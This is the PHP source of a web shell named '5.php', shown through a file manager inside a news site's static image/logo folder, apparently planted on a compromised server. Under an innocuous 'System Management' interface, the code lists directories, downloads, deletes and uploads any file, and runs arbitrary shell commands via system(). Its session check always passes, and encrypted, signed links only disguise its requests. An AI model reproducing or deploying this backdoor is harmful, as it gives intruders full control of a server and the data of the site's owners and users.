File manager - Edit - /home/u368490123/domains/jionews.online/public_html/static/img/logo/5.php
Back
<?php // جلسات مشفرة session_start(); $secret_key = 'your-secret-key-123'; // ← غيّر المفتاح السري // تشفير AES-256 function encryptPath($data, $key) { $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc')); $encrypted = openssl_encrypt($data, 'aes-256-cbc', $key, 0, $iv); return base64_encode($encrypted . '::' . $iv); } function decryptPath($data, $key) { $data = base64_decode($data); list($encrypted_data, $iv) = explode('::', $data, 2); return openssl_decrypt($encrypted_data, 'aes-256-cbc', $key, 0, $iv); } // توليد توقيع HMAC للروابط function generateLink($params, $key) { ksort($params); $data = http_build_query($params); $hmac = hash_hmac('sha256', $data, $key); $params['hmac'] = $hmac; return '?' . http_build_query($params); } // توقيع HMAC function verifyRequest($params, $key) { if (!isset($params['hmac'])) return false; $hmac = $params['hmac']; unset($params['hmac']); ksort($params); $data = http_build_query($params); $calculated = hash_hmac('sha256', $data, $key); return hash_equals($hmac, $calculated); } // التحقق من الجلسة if (!isset($_SESSION['authenticated'])) { $_SESSION['authenticated'] = true; } // التحقق من HMAC if (!empty($_GET) && !verifyRequest($_GET, $secret_key)) { header('HTTP/1.0 403 Forbidden'); echo 'Invalid Request'; exit; } // توليد قائمة المجلدات للرجوع للخلف function renderBreadcrumb($path, $key) { $parts = explode('/', trim($path, '/')); $full = '/'; echo '<div class="x1">'; $link = generateLink(['x' => encryptPath('/', $key)], $key); echo '<a href="' . htmlspecialchars($link) . '">home</a>'; foreach ($parts as $part) { if ($part === '') continue; $full .= "$part/"; $link = generateLink(['x' => encryptPath($full, $key)], $key); echo ' / <a href="' . htmlspecialchars($link) . '">' . htmlspecialchars($part) . '</a>'; } echo '</div><hr>'; } // عرض محتويات المجلد function listDir($dir, $key) { $files = scandir($dir); echo "<h2>Directory:</h2><code>" . htmlspecialchars($dir) . "</code><br>"; renderBreadcrumb($dir, $key); echo "<ul class='x2'>"; foreach ($files as $file) { if ($file === '.') continue; $path = "$dir/$file"; $display = htmlspecialchars($file); if (is_dir($path)) { $link = generateLink(['x' => encryptPath($path, $key)], $key); echo "<li>[DIR] <a href='" . htmlspecialchars($link) . "'>$display</a></li>"; } else { $download_link = generateLink(['d' => encryptPath($path, $key)], $key); $delete_link = generateLink(['r' => encryptPath($path, $key)], $key); echo "<li>$display - <a href='" . htmlspecialchars($download_link) . "'>Get</a> | <a href='" . htmlspecialchars($delete_link) . "' class='x3'>Remove</a></li>"; } } echo "</ul>"; echo " <form method='POST' enctype='multipart/form-data' class='x4'> <input type='file' name='f'> <input type='submit' value='Send'> </form> "; } // تحديد المسار الحالي $base = isset($_GET['x']) ? decryptPath($_GET['x'], $secret_key) : getcwd(); $base = realpath($base); if ($base === false) { header('HTTP/1.0 403 Forbidden'); echo 'Invalid Path'; exit; } // حذف ملف أو مجلد if (isset($_GET['r'])) { $del = decryptPath($_GET['r'], $secret_key); if (is_file($del)) unlink($del); elseif (is_dir($del)) rmdir($del); header("Location: " . generateLink(['x' => encryptPath(dirname($del), $secret_key)], $secret_key)); exit; } // تحميل ملف if (isset($_GET['d'])) { $file = decryptPath($_GET['d'], $secret_key); if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); readfile($file); exit; } } // رفع ملف if (isset($_FILES['f'])) { move_uploaded_file($_FILES['f']['tmp_name'], $base . '/' . $_FILES['f']['name']); } // تنفيذ أوامر شل if (isset($_POST['c'])) { echo "<h3>Output:</h3><pre class='x5'>"; system($_POST['c']); echo "</pre>"; } // واجهة HTML echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>System Admin</title> <style> body { font-family: Arial; background: #f9f9f9; padding: 20px; color: #222; } a { color: #0066cc; text-decoration: none; } a:hover { text-decoration: underline; } .x1 a { margin-right: 4px; } .x2 { list-style: none; padding: 0; } .x2 li { margin: 4px 0; } .x4 { margin-top: 10px; } .x3 { color: red; } .x5 { background: #eee; padding: 10px; margin-top: 10px; border: 1px solid #ccc; white-space: pre-wrap; } .x6 { margin-top: 30px; } .x6 input[type=text] { width: 70%; padding: 5px; } .x6 input[type=submit] { padding: 5px 10px; } </style> </head><body>"; echo "<h1>🔧 System Management</h1>"; listDir($base, $secret_key); // واجهة تنفيذ الأوامر echo " <div class='x6'> <h3>⚙️ Run Command</h3> <form method='POST'> <input type='text' name='c' placeholder='example: dir'> <input type='submit' value='Execute'> </form> </div> "; echo "</body></html>"; ?>
| ver. 1.4 |
Github
|
.
| PHP 8.2.28 | Generation time: 0.09 |
proxy
|
phpinfo
|
Settings